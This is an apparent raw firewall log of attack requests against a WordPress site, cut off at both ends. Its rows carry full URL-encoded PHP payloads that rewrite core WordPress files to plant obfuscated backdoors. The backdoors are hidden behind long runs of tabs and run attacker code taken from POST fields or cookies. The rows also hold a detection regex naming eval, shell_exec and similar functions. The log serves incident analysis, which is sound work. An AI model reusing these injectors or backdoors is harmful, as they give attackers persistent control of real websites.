\"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-platform:\"Windows\"\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:55:45","164.52.218.210","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3263\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"macOS\"\n\njf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:56:06","57.128.189.50","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnaDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3263\n\njt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:56:27","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3263\n\nBf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:56:46","185.176.9.68","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%